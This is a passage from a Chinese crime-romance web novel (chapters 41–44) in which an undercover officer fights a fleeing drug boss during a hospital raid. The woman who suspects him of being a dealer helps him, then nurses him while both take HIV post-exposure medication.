姜义落脚在云南一个寨子。 队里跟了他这么多天,终于蹲守到他今夜带人钻进一处山林里头。 案子是联合行动,医院这边早就埋伏好警力,只等姜义那边拿到证据,宁城这头可以直接把老万按下再慢慢审。 机会来之不易,沈宗野前去是想确保万无一失。 谢天明留在公司确保意外的状况,沈宗野一人开车来到了医院。 凌晨一点,医院四处都格外寂静,沈宗野戴着口罩站在楼下,住院部的房间几乎都已经熄灯,老万那间病房窗户也是黑的。 沈宗野四下环视,幽深的眼眸在暗夜里格外犀利。这条岔路是王局特意给他留的,没警方的人蹲守,他刚找了处隐蔽的墙角就接到王局的电话。 “行动开始了,姜义挖出来的还真是尸体!”王局冷笑感慨,“钓上老万这条大鱼,真晚真他妈带劲啊。” 王局说那边在姜义挖出第五具尸体,正要打算往下面再挖时把人给围了。 这也就发生在一分钟前。 王局的话刚说完,沈宗野就听到一声枪声,熟悉的枪响是警局的配枪声音,老万使用的是一把消音枪。 沈宗野迅速挂了电话,后背紧贴着墙,紧盯对面老万的楼。 砰! 第二声枪响。 沈宗野眸光犀利。 楼里应该是老万在还击。 不到万不得已,沈宗野不会轻易现身。 随着第二声枪响,住院部原本漆黑的房间陆续亮起灯来,沈宗野紧贴墙角藏起身躯。 对面三楼一扇漆黑的窗户里忽然探出一道身影,踩着窗台直接朝一棵树跳下,抱住树干往下落。 沈宗野紧眯眼眸,路灯太暗,几棵树遮挡起来,将那棵树在他眼前隐去,但那个身影绝对是老万。 沈宗野心一沉,手摸向贴身藏的枪。 可忽然有人冲来了! 从他刚才过来的那个方向跑向这边。 沈宗野猛地停下轻挪的脚步,盯着不远处冲来的纤细身影。 月光落在她脸上,是梁然。 …… 整座医院都是寂静的,只有这两道枪声格外突兀。 梁然出现在这里全凭她身为女性敏感的直觉。 今晚和沈宗野在酒店里的事让她实在睡不着,才来医院想蹲蹲姜义。 这家医院她来过好几次了,每次都没蹲到过姜义,她知道今晚意义也不大。 但是她刚坐下半个小时,原本正常值班的护士接了个电话就离开了,紧接着来了八名身穿白大褂的医护人员。 两名女护士,六名男医生。 女护士气质倒是温和,但男医生的那几张面孔实在不像常坐办公室的医生。他们的皮肤有些粗糙,唇部没有保养过的痕迹,有很深的唇纹。 女护士朝她走来,温和地询问她需要什么服务,如果是探望病人,那现在可以离开了,他们需要保证病人有一个安静的休养环境。 护士的语气实在和蔼,但是她说话太过流利,眼神黑亮而坚定,跟长期坐在护士台的值班护士比,似乎少了一种一复一日机械化的疲惫感。 梁然起身下楼。 她又发现了一些细微的变化。 缴费窗口里面比她来时多了两名男性。 门外站着四个闲谈的高大青年,梁然经过时,他们聊的确实是家属的病情,但是他们在梁然走出大门时多看了她一眼。 那眼神没什么不同,就像陌生人会对路人瞥一眼的好奇。 可怪就怪在他们看起来跟梁然是同龄,但却对她完全没有异性间那种生理性的吸引,他们个个眼神干脆,扫她一眼便挪开继续讲话。 不能怪梁然自恋,她确实有吸引路人的资本,她一贯在哪里都能引来打量的视线。 今晚实在很微妙,梁然总有些说不上来的不安心。 四周实在太过安静,似乎有种风雨欲来的感觉。 梁然这趟是打车来的,凌晨一点的车子不好叫,梁然在手机上的订单一直没司机接,她索性取消了订单。 反正来都来了,不如在附近再呆一会儿。 她走到了一扇没上锁的铁门旁,门能推开,她才又钻进了医院里。 从这儿拐几个弯直通医院的住院部。 直到梁然突然听到了一声枪响,紧接着又是一声。 大二那年她接受了林甄,每次约会的机会本来就已经很难得,但林甄却把他们约会的时间都拿来聊警校里的趣事,教官讲的各种警局惊心动魄的故事。 今晚这种异常,跟林甄以前说的那些很像,跟她在电影里看到的便衣警察抓坏人的剧情也很像。 这枪声一定是在抓坏人。 梁然只能想到这里的坏人是姜义和大鱼口中的万哥。 随着这声枪响,住院部的窗户陆续有灯光亮起。 梁然抬起头,竟看到三楼跳下来一个黑影。 她竟然下意识地直冲过来,就像在宁城的那个雨夜里第一次遇见沈宗野时,她不顾一切冲向街对面。 黑影朝她这头奔跑。 梁然想将他截住。 那人看到她时一瞬间愣住,凶狠的光一下子划过眼底。 梁然看清是个中年男人,泪沟深深凹陷在眼眶下,他身体枯瘦,腹部有些鼓起。 梁然几乎就要大喊坏人在这里。 但是男人却顾不得她,倏地扭头看向墙角。 “沈宗野?小沈,快——” 他话没说完,沈宗野手上的打火机狠狠朝他扔来,正中他眉心。 梁然愣在原地。 高大的树木遮掩了路灯的光,漏下斑驳的碎影,照亮沈宗野漆黑的眼睛。 他戴着黑色口罩,身形高大,脚步矫健,几乎是直接冲向中年男人。 梁然来不及想他竟也敢出现在这里。 沈宗野的身手实在太矫健了,她完全没看到他是怎么从漆黑的墙角一瞬间闪现出来的。 而捂着额头扭曲着脸的老万也太狡猾,枯瘦的手臂一瞬间朝梁然伸过来。 第42章 第42章他有多么见不得光 梁然没经历过这种危险。 甚至也不知道躲。 下意识的自我防御让她将紧抓在手上的防狼喷雾对向来人,埋着头一通乱喷。 老万痛叫一声,捂起脸疯狂地骂她,抬脚就要来踹她。 沈宗野在这瞬间摁住老万。 梁然还愣在原地。 来蹲姜义她自然得带点防身的东西,尤其还是晚上出门,为了安全,她准备了很多用品。她的包里有美工刀、甩棍、手套,甚至还有安全小雨伞,防狼喷雾是刚才跑过来时下意识的第一选择。 她只是没想到一个防狼喷雾威力就能这么大! 她,她也太厉害了吧! 沈宗野和老万扭打起来。 老万:“老子对你这么好,沈宗野,原来你——” 话没说尽,老万的双颊已经被沈宗野狠狠抠住,余下的话都堵在口腔里模糊不清。 昏暗的斑驳光影中忽然折射出一道寒光。 梁然听到了沈宗野的一声闷哼,才看到是他手臂正被老万用匕首刺中。 老万又狠狠捅下一刀,沈宗野迅速扭避,但还是被刺到肩膀。 两个人扭打在一起,滚在地上。 水泥地面有斑驳的血迹。 梁然心跳剧烈,这一切都发生得太快了,快到沈宗野也来不及夺下老万的匕首。 终于,沈宗野扭到老万一只胳膊,要抢夺匕首。他双眼犀利,额角的青筋突起,眼神淬着寒冰。 老万满目猩红,像有浓烈的仇恨一样,恶狠狠喊出沈宗野的名字,但想说的话又都被沈宗野的拳头打回,沈宗野一拳打中老万的口鼻。 而沈宗野钳制老万胳膊的那只左手却被老万迅速挣脱。 沈宗野的拇指残疾,梁然了解过失去大拇指的那只手掌根本没有正常人的抓握能力,对沈宗野来说他的力量虽然已经胜过正常人了,但现在是老万要搏命,手里还有刀,一个将死的人几乎用到了全部力量来逃命。 这一切都发生在两三秒之间,血溅到梁然脚边,分不清是沈宗野还是老万的。 她终于反应过来,冲到老万身后用包包链条套住老万脖子。 沈宗野来不及去看她,但和她算默契,他迅速按住老万,想将包链绕到老万胳膊上。 他的动作利落又粗暴,将链条从包包上扯断,用力缠上老万两条胳膊。 老万忽然曲起双腿,夹起掉落的匕首刺向沈宗野。 锋利的寒光折过,落在梁然眼中,她张唇想提醒沈宗野有危险,他已经在这瞬间扭身躲避。 锋利的刀刃从他腰腹擦过,在两个人的扭打里刺中老万大腿,老万痛哼着,依旧想挣开沈宗野的链条。 有血喷溅,不知道是沈宗野的还是老万的。 热热的液体溅到了梁然眼睛里。 她猛地闭上眼,黏腻的难受让她不停眨眼。 “走!”沈宗野沉喝。 梁然睁开眼,才发现脚裸一阵剧痛,不知道什么时候扭伤了,正是上次刚痊愈的那只脚。 沈宗野将那个没了链条的羊皮包包塞进她手里,直接将她扛到了肩膀上。 天旋地转,他迅速地奔跑在树影下,穿过光线昏暗的绿化林,冲出那扇无人的铁门。 梁然被迫以头朝下的姿势,在沈宗野肩膀上被颠得一路头晕恶心。 青年的腰在奔跑中灵活有力,笔直长腿强健又迅猛,宽肩跟不要命似的扛着她跑。 梁然视线一片模糊,只看到这些,还有地上溅落的几滴鲜血。 “上车!” 沈宗野将她塞进车厢后座。 脑袋嗡嗡充血,梁然回神看清四周时,沈宗野已经发动汽车,一阵急转弯后掉头冲进夜色。 今晚的一切发生得太突然。 梁然大脑还没有做出应对的反应。 她缓了好久,才想起来去看沈宗野的伤势。 皮质座椅上是鲜红的血。 沈宗野正单手握着方向盘,另一只手在缠纱布,牙齿咬着纱布的另一头,腾出握方向盘的那只手来打结扯断。他在做止血处理。 扶手收纳箱敞开着,里面都是各种消毒和止血药、纱布。 梁然不知道说什么,她的眼神忽然这样冰冷,望着沈宗野手臂上的白色纱布被不断透出的血染红,心里只有浓烈的恨,最先那股紧张和担心全都被这股憎恨取代。 他还不是毒贩? 今晚的一切足够证明他有多么见不得光,多么黑暗罪恶。 眼前是梁幸均温和的脸,如果没有他们这群毒贩,她的爸爸就不会死,她的家庭还可以继续幸福下去。 城市与灯光在车窗外急速倒退,梁然恢复了理智。 她必须要解释今晚出现在这里的一切,不知道沈宗野会不会信她。刚才他那么扛走她根本不是救她,只是不想她落入警局,揭发他也是个毒贩。 可惜了,明明刚才那么难得的机会,如果她手上有沈宗野贩毒的证据,她就可以开口引来警察。 “沈宗野,你还在流血!”梁然已经伪装起来,声音带着哭腔,“你停车,让我来开车!” 沈宗野没有回答她,后视镜里,他的双眼无比幽深,眉骨压下这片漆黑的暗夜。 梁然想开口解释她为什么会出现在这里,刚喊出沈宗野的名字,他的手机就震动起来。 沈宗野掏出手机,用那只受伤很严重的胳膊,血一瞬间又染红了白色纱布。 他挂掉了电话,没有接听。 “今晚怎么会这样?”梁然的声音仍带着哭腔,“我好担心你,沈宗野,你流了好多血……” 沈宗野的手机又传出震动,这次他接听起来。 “宵夜我没时间吃,你自己去吃,给我带一包烟,还要一个蓝色打火机。”沈宗野低沉的嗓音如常讲着这个电话,说完便结束了通话。 梁然:“都什么时候了,是天明吗?叫他来医院,我们找家医院!你的手臂又……” “闭嘴!”沈宗野沉喝一声。 梁然被这声冷喝吓了一跳,她看着后视镜,玻璃光面映着沈宗野紧绷的薄唇,寂静的周遭一瞬间跌入冰窖。 她忽然有些惧怕,今晚见到沈宗野这一面,他会不会杀了她灭口? 梁然紧绷着心弦,找到乔思嘉的微信,发送了一段文字:「我每隔10分钟给你发一条信息,如果超时没发,你帮我报警。」 乔思嘉直接给她拨来电话,梁然挂了电话,打字回复:「我在车上,我打到一台黑车,不方便接电话,等下吧。」 乔思嘉连忙回复她消息。 “在和谁联系?” 寂静的车厢里响起沈宗野的询问,他声线低沉,戒备状态不带任何温度。 梁然:“天明。” 梁然的确在给谢天明发消息,好有一个掩饰的理由。她告诉谢天明沈宗野受了伤,流了很多血。 她马上接着说:“我们去家医院好不好,你的伤口还在渗血,呜呜,我很担心你!” 她声音已经哽咽起来,隐忍着情绪不敢打扰他开车。 “死不了。”沈宗野说,“回公寓处理。” 沈宗野短暂地沉下心来。 刚才给他打来第一通电话的是王局,梁然在车上,他才挂断。 第二通电话是谢天明的,这么晚吃什么宵夜带什么打火机,他说的只是他和谢天明的暗语,让谢天明去转告王局他不方便接电话,但是他现在没有危险。 伤口的痛觉已经有些麻痹,沈宗野暂时还能忍受,只是抬手有些缺力气,大脑有点失血的昏沉。但他很清楚他的体质,这点失血不算什么。 梁然这也才看到车窗外的确是去往公寓的路。 “今晚到底怎么回事?!你到现在还不告诉我吗?” “你为什么出现在那里?”沈宗野冷静地问她。 梁然说:“我听说姜义在那里,我想去给你报仇。” “听谁说?” “……大鱼嘛,我问的他。” “报什么仇?” “就是上次,我们在小铁路上散步,他气势汹汹来找你,云肖他们说他不是好人。今晚你走后我就接到个客户的电话,约我谈个小项目,本来客户要送我回酒店,但我看到你车停在附近,大鱼之前说姜义在医院里照顾病人,我就想着你可能是来医院见姜义了,我想来给你撑腰嘛。” 梁然编造着这个解释,她担心地望着沈宗野手臂,紧勒的纱布这会儿终于止住血了,没再往外渗血,她很紧张地问他:“为什么会这样,你伤得这么重,那里是有枪吗?今晚是怎么回事?” 沈宗野没有说话。 寂静的车厢里只有梁然望着他伤势发出的细微哽咽。 车厢里又传来震动声,是沈宗野的手机。 这次他接起电话:“没什么,擦破点皮,我马上到公寓了。” 梁然:“是天明吗?我刚刚已经跟他说你流血了……” 沈宗野没再理他,直接开回公寓。 …… 回到公寓,他打开灯:“帮我拿药箱。” 梁然冲进客厅,扭伤的脚裸很痛,但她还是轻车熟路找出了沈宗野的医药箱。 她回过头,沈宗野还靠在房间门口。 以往他每次来去都是干脆利落,但这一次他靠着门,眼皮微微下沉,紧绷的薄唇有些苍白,手扶着门要关上,但那只残疾的拇指丑陋又短小,像够不着似的,扶了几次才将门关好。 他高大的身体挪进客厅,短短一段路走了一会儿才坐到沙发上。 “沈宗野,你没事吧?你别吓我。”梁然嘴上这么担心,心里却只有一种仇恨得报的快意。 看一个毒贩伤成这样,不应该拍手称快吗。 沈宗野抬起眼皮,从她手上打开药箱。 他自己剪下纱布,单手竟也可以操作得这么熟练。 “我来!” 梁然从他手上抢过剪刀,将沾血的纱布剪下。 他的外套都被割破,匕首捅进了手臂血肉里,伤口很深,梁然剪破外套后,入眼便是那些模糊的血迹。幸好沈宗野有止住血,否则最深那几条伤口皮肉都得翻出来。 她第一次见这么严重的伤,有生理性的抵触和发抖。 沈宗野从她手上拿过了生理盐水,直接倒在手臂和被划到的腹部。 他又用这只手去处理另一只手臂的伤口,右手没有那么重的伤,他拇指残疾的这只左臂伤口最多。 大拇指不是那么容易握紧药瓶,他的手发出抖动。 “要不还是我来吧,我应该可以。”梁然拿过了他手上的碘伏。 梁然的动作生疏,虽然慢却对伤口处理得仔细,沈宗野便探手去拿酒精湿巾。 梁然刚想叫他别动,一抬头正撞上他视线。 沈宗野就这么看着她,漆黑的眼眸像深不见底的海,要把人吞噬。 晚风破窗而入,森冷的风吹在梁然身上,她想起了梁幸均的相机里,沈宗野那双满是阴狠戾气的眼睛,和此刻极似。 他薄唇紧抿,一点一点低下头靠近她。 梁然心底全是恐惧。 他?要刀她灭口吗? 她几乎下意识握紧了没完全放下的剪刀,直到沈宗野手上的酒精湿巾落在她脸颊上。 沈宗野擦着她眼睛,轻轻带走她眼皮上的血迹。 第43章 第43章“我说过,我愿意。”…… 挤进窗口的风声被呼啸着撕碎,变成不见硝烟的呜鸣。 梁然紧绷的脊背终于有些放松,睁开眼看着沈宗野。 “今晚很巧啊。” 沈宗野望着她,眼眸依旧深不可测。 梁然哪知道有这么巧。 她已经去那家医院蹲过姜义好几次了,只是不知道姜义他们今晚会被抓。 她小心翼翼问:“我听到的是枪声吗?那是警察吗,他们要抓姜义他们?” “应该是。”沈宗野扔掉沾血的湿巾,朝她抿起薄唇,“今晚多亏有你。” “哪有,我没帮到你什么,还害你拉着我跑,拖你后腿了。” 沈宗野抿了抿唇轻笑。 今晚这么巧,他又被梁然跟踪了? 不过他可以肯定他去的路上周围没有跟踪,梁然是真的去医院堵姜义?他没法信这个理由,除非是向邬道派她来找老万。 他记得老万上次说过,向邬道派严伟去求过老万一些事,只是当时老万和严伟谈崩了。 这次是向邬道给老万使美人计? 沈宗野暂且猜不到今晚梁然出现在那里的目的,但绝对不是巧合。今晚她能帮他,可见跟老万也不对付。 她虽然不会打斗的技巧,但临危不乱,从她短短两秒内喷中老万,又在短时间内用包包链条精准勒住老万脖子,便可以看出她并不是表面上这么温柔无害。 这个女人并不简单。 梁然在问:“你回答我刚刚的问题啊,我好担心你。” 沈宗野浮起笑,神情感动:“刚才那么乱你没有丢下我,梁然,谢谢你。” 他眼神黯然,却豁出去了,望着她说:“我做了点灰色买卖,老万算是我的介绍人,不过我和他利益上没有交集。今晚他被警察抓了,希望不会牵扯到我吧。” 梁然紧张起来:“什么灰色买卖?” 沈宗野望着她单纯无辜的桃花眼,淡笑说:“以后有机会告诉你。今晚怕么?” 梁然点头,又摇头,她的睫毛有些湿润,眼眶开始泛红。 沈宗野伤口太痛,腹部被划伤的地方虽然不深,但痛觉也牵扯起来。 他一边清理伤口,一边回答梁然:“老万对我有误会,但我如今没法解释。” “他今晚应该逃不掉吧?” “我也不清楚。” “你最近是不是别出门最好?”梁然问,“我会不会也被牵连进去啊?” “你去病房见过老万么?” 梁然说没有。 沈宗野望着她认真的样子,安慰她:“那应该没事,别担心。” 他让梁然去清洗一下眼睛。 梁然这才想起来,连忙去了卫生间里。 沈宗野视线冷下来,继续清理起伤口,剪下纱布包扎。 他手臂上有三处刺中伤,五道划伤,腹部一道划伤比预想中深,但这些伤他平时工作中受惯了,应该不会有什么严重的并发症。 梁然清洗完回来,桃花眼红彤彤的,素颜的脸上皮肤白净,沾着没擦干净的水珠。 她有些紧张地看着他,张了张唇欲言又止。 沈宗野:“你有没有哪里受伤?” 梁然摇摇头,检查着身上,还真发现她手指擦破了皮,刚才洗脸时都没觉得疼痛,这会儿发现后倒有些隐隐作痛起来。 “过来。”沈宗野让她坐过去,帮她处理了伤口,消毒后贴上创口贴。 他身上的伤全部处理完了,梁然把心疼继续演下去:“你平时都是自己处理伤口吗,你经常受伤?” “是啊,我看不惯谁就揍谁。”沈宗野眉梢微挑,即便伤成这样,他眸底依旧是那种漫不经心的肆意。 呵呵。 梁然觉得他一身伤是自找的。 她才想起来刚才洗脸时担心的正事:“我眼睛里不知道溅到了谁的血,还有我手指这里肯定也碰到血了,我好担心我们……” 沈宗野将一粒药丢进了嘴里,仰头喝水吞下,喉结跟着吞咽滚动。 他倒出另一粒丢给梁然。 梁然看清楚了药名,是HIV阻断药。 她之前进入沈宗野的房间,决心豁出去时就准备过这种药。 她只是有些意外沈宗野服用这个药,所以他其实是没有什么传染病的? 原来他们这些毒贩也怕这个。 梁然更紧张了:“那个人有、有艾滋?” “嗯。” 梁然脸色煞白。 连忙吞下药,仔细看起说明书。 她的睫毛眨动着,紧张的瞳孔不错漏说明书上每一个黑字。 沈宗野不动声色留心她的状态,看来她也还没坏透到他预想的那一步。 这些阻断药是工作中他们必备的,队里就有同事因为缉拿犯人感染了传播疾病。他备这药也有部分原因是因为梁然,他并不想跟她这种女人有亲密接触,但也怕有万不得已的地步。 不过老万有没有艾滋病,沈宗野还没弄清楚,他只是有一次见过老万服用的药物里头有一种像是针对艾滋病人的胶囊。 梁然脸色很不好,丢下说明书抬头看着他,红唇微张着。 门外的过道上传来急促的脚步声,紧接着房门被谢天明推开。 他冲到沈宗野面前,喘着气上下打量沈宗野,眼神十分紧张:“怎么伤成了这样?哥,去医院!” “我都处理干净了,不严重。” 沈宗野掀起眼皮,扫向梁然:“去楼下帮我买包烟。” 梁然微怔,看了看谢天明,知道沈宗野是想和谢天明单独说话,起身问他要什么烟。她扶着沙发,脚裸仍有些疼。 沈宗野:“走得动么?” “还可以。”梁然慢吞吞挪着那只脚出了客厅。 她当然很想留下,可知道她只能在沈宗野面前扮演好温柔听话。 她也在网上收集过怎么可以人不在场又能知道对方的谈话。除了监听设备,网上说可以把手机留下,打开录音功能。但用这种手段对付沈宗野简直是小儿科,被他发现,她怎么死的都不知道吧。 梁然无比遗憾偷听不到他们的对话,也遗憾至今都还没有找到能在沈宗野公寓里安装监控的办法。 她拿了手机下楼,已经凌晨两点多,晚风实在太冷,宁城秋季的尾巴比南城的冬天还要寒冷。 她抱紧手臂穿过灯光,走去沈宗野说的24小时便利店。 沈宗野在房间里和谢天明说起今晚的事。 谢天明说:“老万已经落网了,就在宁城审。放心吧,你的痕迹都处理干净了,知道的都是自己人。我来的时候公司那边也没事。”他们是担心今晚老万的事会让董自新察觉,疑心到沈宗野身上,索性工厂那边一切正常。 沈宗野点点头:“你处理得很好。我要打个电话。” 谢天明守到了客厅,眼神仍是担忧。 沈宗野打给了王局。 王局说完了今晚的抓捕,语气凝重:“让姜义跑了。” 沈宗野眼眸一沉。 “云南那边增援了我们警力搜捕姜义,他应该跑不远。” 可王局这话自己都说得凝重。 姜义身处一处寨子里头,那里山林茂密,藏个人短时间想找出来不容易。 王局说老万没受什么严重外伤,腿部匕首的刺伤已经做过处理。 今晚能让老万逃下楼,完全是老万作为毒贩的多疑。 病房里躺着的那个明明是老万,护士配合得很好,查房时没惊动老万,但应该是毒贩的疑心使然,老万知道姜义在那边冒的是什么风险,所以在姜义动工前悄悄去了别的病房。他和姜义一直保持着通话,直到警方实施抓捕后他才惊慌逃串,把子弹给打没了才跳下楼。 王局说完案子,问沈宗野哪里受了伤,严不严重。 沈宗野说:“我伤到一点皮肉,可能有职业暴露的风险,让老万做个血检。” 电话里,王局听后十分凝重,马上去安排。 沈宗野走出房间。 谢天明忙过来检查他伤势:“都包这么厚了!去医院啊!” “家里什么药都有,我先挺一挺,不能让董自新知道我受伤。” 两人都明白,董自新如果知道沈宗野在老万被捕的当天晚上受了伤,必定会有疑心。 谢天明又问起梁然是怎么回事。 沈宗野把今晚遇到梁然的事说完。 谢天明说:“真是小瞧她了,能替乌鱼干这么多事。” 门外过道上传来梁然一瘸一拐的脚步声。 谢天明轻声问:“我先送梁然离开?” 沈宗野:“算了,让她留下。” 谢天明和他倒是默契,知道沈宗野是因为董自新。 董自新要是查起来,沈宗野至少有个流连温柔乡的理由。 沈宗野:“车上有血迹,你去处理一下吧。” 谢天明点点头,去给梁然开门。 梁然正准备敲门,手臂里抱着一条烟。 谢天明接过烟,将梁然扶进门。 “嫂子,你又伤到脚了?” “嗯,上次扭伤的地方又扭到了。” “那得好好养,这才好多久。”谢天明说,“今晚你睡我房间,我睡沙发。” 梁然没拒绝,担忧的视线穿过灯光望向沈宗野。 沈宗野靠在沙发上,不再像从前那样慵懒闲恣,他的薄唇有些苍白,微沉的眼皮盖不住瞳孔的疲惫。 见到她回来,他问她:“外面冷不冷?” “有一点。” 他用眼神示意她过去。 梁然坐到沈宗野身边,沈宗野摘下她头发上的皮筋,手指梳开她头发。 她的头发有些凌乱,出门时特意扎的高马尾,这会儿已经松松垮垮地耷拉在后颈。沈宗野就这样替她理顺头发,安静地看着她。 梁然很少见到他这种安静的样子,他也从未对她这样亲密过。 这一刻他身上没了那些戾气,高大的身影略带疲惫地安静端坐,莫名有股少年的失意。 他说:“今晚很晚了,你别走了,是我连累了你。” “没有。我说过,我愿意。”梁然望着他的眼睛。 沈宗野略显苍白的薄唇浮起笑:“我想睡一觉,你也去睡吧。” 他回了房间,背影都有一股无畏的孤孓。 梁然忽然醒过来,他这是装的啊。 他是一个毒贩,就算一时落寞也是因为今晚受了伤,他今晚和老万厮打在一起时多么粗暴凶狠。他不过只是一时流露的疲惫,她却差点当做他是真心因为她而感动。 不过今晚她应该没有拖他后腿,还帮了他忙才对。 梁然不知道沈宗野跟老万之间有什么矛盾,今晚听老万被沈宗野堵住的话,沈宗野应该是个白眼狼,辜负了老万? 梁然没再去想,回到谢天明那间房去换床单被套。 她实在太疲倦了,倒头就能睡着。不过闭上眼睛前,她还是很担心今晚眼睛里溅到了血。 虽然她了解过阻断药的成功率,但到底还是会恐惧。 屋子里很安静,谢天明轻轻打开房间,从车库收拾好回来,手上拿着梁然那个没了链条的包包。 他进了沈宗野的房间。 沈宗野还没完全睡着,坐起身等谢天明开口。 “车都收拾干净了,这是梁然的包。”谢天明将包里的东西掏出几样给沈宗野看。 有美工刀、甩棍、迷你锤……一包安全小雨伞也滑落出来。沈宗野眼神淡淡的,梁然本来就不简单。 谢天明:“她虽然不会格斗,但很懂这些小武器,挺适合她。”谢天明冷笑。 沈宗野说:“收好,去休息吧。” 第44章 第44章在黑处披荆斩棘 这一夜过得惊心动魄。 梁然在这种不安的情绪里睡过去,她睡得不安稳,总觉得自己没睡着,还能听到谢天明穿着拖鞋进出卫生间的轻微脚步声,以为才过去一两个小时,醒来却已经是第二天早上九点了。 谢天明和大鱼在客厅里。 梁然披着睡袍出来,头发有些凌乱地散在双肩。 两人见到她,叫她洗漱完来吃早餐。 谢天明将一杯温水递给梁然,避开大鱼说:“昨晚的事就我们三个知道。” 梁然点点头。 大鱼见到梁然又瘸着腿,忙问她怎么了。 梁然说是穿高跟鞋不小心扭到的,走向卫生间。 沈宗野正推门出来,短短一个晚上,他脸色有一些惨白,眼下也有些没休息好的疲倦。 梁然:“你还好吗?” “嗯,你怎么样?” “我没事。” 沈宗野说:“收拾好来吃早餐。” 他坐到了餐桌上。 梁然洗漱好也在他身边坐下。 谢天明接到了云肖的电话,云肖在问他们怎么了,怎么三个人都没有去公司。 谢天明看了眼沈宗野,说:“嫂子把脚扭了,哥在陪嫂子。” 梁然笑了笑,给沈宗野添了碗粥。 大鱼离开后,沈宗野让谢天明也先去忙。 谢天明担心他身体:“要不我还是留下来照顾你吧。” 沈宗野说:“我今天就在家休息,别担心。我不在你管好公司,轻松一号的事没来得及问云肖,你好好查一查。” 说这些沈宗野没再避讳梁然。 谢天明只好点头。 梁然虽然神态自然,却在暗中记着他们的话。她对谢天明说:“天明,家里有我呢,你去公司吧。” “拜托嫂子了。” 梁然轻轻“嗯”一声。 房间里只剩下他们两个人。 沈宗野走去有健身器材那间房,在划船机上坐下,他并没有启动机器,只是安静地望着落地窗外。 不算高的三楼被楼下大树遮挡住许多阳光,窗外是光秃秃的树枝。 房间有些干燥,屋子里有了暖气,宁城的冬季悄无声息来临了。 沈宗野就这样坐着,腹部伤口有些疼,他靠在了机器上。 梁然在一旁坐下,也像沈宗野这样望着窗外。 受过伤的他总有一股脆弱的倔强,梁然不知道这种气场是他装的,还是他下意识流露的。 她说:“伤口是不是要再消毒一下,重新上药啊?” “早上天明帮我换了。” “不好意思啊,你应该把我叫醒的。” “这算什么,我想让你多睡会儿。”沈宗野嗓音温和。受过伤的身体似乎连声线都有股苍白的病倦,听来格外低懒悦耳。 梁然睁着眼睛,想着那些痛苦的事,让眼眶逐渐发红。 她说:“沈宗野,可以还像昨晚那样吗?” 沈宗野眉梢微挑,不解地看她。 “像昨晚那样,不要放弃我。” “任何时候,都别放弃我,可以吗?”梁然蹲在他身前,将头轻轻伏在他膝盖上。 沈宗野说:“还记得我说的那句话吗。” “我是个糙人,跟着我没什么好下场。” “可我愿意。”梁然仍说出了这一句,是她最开始的回答。 沈宗野笑了笑,手掌抚过她头发,但牵扯到手臂伤口,他“嘶”一声抽口气。 梁然忙让他别乱动。 她看着他的眼睛,缓缓俯下身,唇刚要落在他薄唇上。 沈宗野忽然起身推开她,直接奔进卫生间。 他吐了。 胃里翻江倒海,甚至胃也在绞痛,牵扯得身上伤口都在痛。 沈宗野脸色惨白。 梁然忙去倒水,又拿来纸巾。 她干这些也不太顺利,脚裸实在疼得难受。 “怎么会吐了,是阻断药的副作用吗?”。 沈宗野撑着墙,眼眶里有生理性泪液涌出,他紧紧闭了闭眼,再睁开眼,用冷水拍在脸上让自己清醒。 他似乎对这个药有很明显的抵抗反应。 梁然扶着他走出房门。 沈宗野甩开她的手。 他也许真的有些虚弱了,竟然忘记去顾及梁然的情绪。他本来是想借此机会把戏演真一点,让梁然相信他已经完全信任她,完全愿意接纳她。 可惜,生理下意识的抵触还是差了那么一点。 沈宗野索性借口说:“别拽了,老子胳膊要痛死了。” “啊,对不起。”梁然刚才着急扶的确实是他伤得最重的左臂。 沈宗野问:“你没什么副作用反应?” “我还没。” “别忘记吃药。” “我早上吃过了。”梁然说。 沈宗野:“我回房间睡会儿,你别进来吵我,行吗?” 他摸了摸她脸颊,低下头来亲了亲她额头。 梁然没有见过这样的沈宗野,轻轻点头。 沈宗野关上了房门。 梁然在想,她是不是可以借这个机会走进他内心深处啊?至少他们的关系会比从前再近一点吧。 正午的阳光慢慢炙热起来,被日光照耀的客厅里,温度也在攀升。 梁然就在沙发上眯着晒太阳。 沈宗野睡了三个小时。 他的房间里没有声音传出,梁然觉得应该叫一叫他了,起身去敲他房门。 “沈宗野?” 屋子里没有回应,梁然又轻轻喊他名字。 沈宗野依旧没有回答,梁然心头一紧,拧动门把手时才发现他是反锁上的。 她大声喊沈宗野的名字,屋子里还是没有回应。 梁然找了最近的开锁师傅,加急上门。 沈宗野的房门终于撬开,梁然冲进去,不见天光的房间拉着厚厚的遮光窗帘,沈宗野蜷缩在床上,抱着空调薄被。 他背对着她,宽阔脊背有隐隐的发抖。 “沈宗野?”梁然想将他扶正,但他没有一点反应。她摸到他额头,很烫很烫。 他发烧了。 梁然打开床头的灯,昏黄的灯光瞬间照亮房间。沈宗野嘴唇泛白,挺拔的鼻梁上有细微的汗液,他紧紧抱着被子,薄唇颤动。 梁然听不清他在说什么。 开锁师傅离开时带上了客厅的房门,关门的声音让沈宗野一个激灵地抱紧被子,唇边喃喃说着话。 梁然应该心疼的,如果继续演下去的话。 他多么挺拔健康的一个人,一米八几的高大身躯,搏斗时那么粗暴凶狠,他现在像个孩子一样蜷缩在床上,生着病,的确应该勾起一个正常人的可怜。 可梁然只觉得这是他应得的。 做尽坏事的人,这种下场已经很轻了啊。 但理智还在,梁然俯下身去抱沈宗野,放低的嗓音无比温柔:“沈宗野,你发烧了?你在说什么?” 细密的汗从沈宗野额头生起,蔓延到高挺的鼻梁,他仍旧毫无意识地在发抖,紧紧抱着被子。 梁然靠在他唇边,终于听清楚他的声音。 他说:“妈妈,我今天有听话……” 梁然有些意外,没想到他说的会是这句话。 沈宗野的原生家庭不幸福吗? 她说:“我知道,沈宗野,你很听话……” “你在做什么?” 屋外响起谢天明的声音。 他人还没出现,质疑声已经闯进房间里。 梁然回过头,谢天明正大步奔进房间。 “他发烧了。”梁然焦急地说,擦拭着沈宗野额头。 谢天明来得很急,有些喘气。梁然的表情太过自然,让他好像才反应过来是他太表露情绪了。谢天明冷静下来,探了下沈宗野额头。 “我就是担心哥发烧。嫂子,你去药箱看看有没有退烧药。” 梁然瘸着腿出去找药箱。 谢天明没再去公司,这趟是特意回来照顾沈宗野的。 沈宗野吃过药后又睡了三个小时才醒。 屋子里光线很暗,谢天明一直呆在房间里,沈宗野让他拉开窗帘。 窗外已经是下午了,阳光拖着橘红色的尾巴。 房间门关着,谢天明说梁然在次卧睡觉,并且把沈宗野的监控给他看。 这次沈宗野睡觉前打开了他这间卧室的监控,受伤之下独处一室,他并不放心梁然。 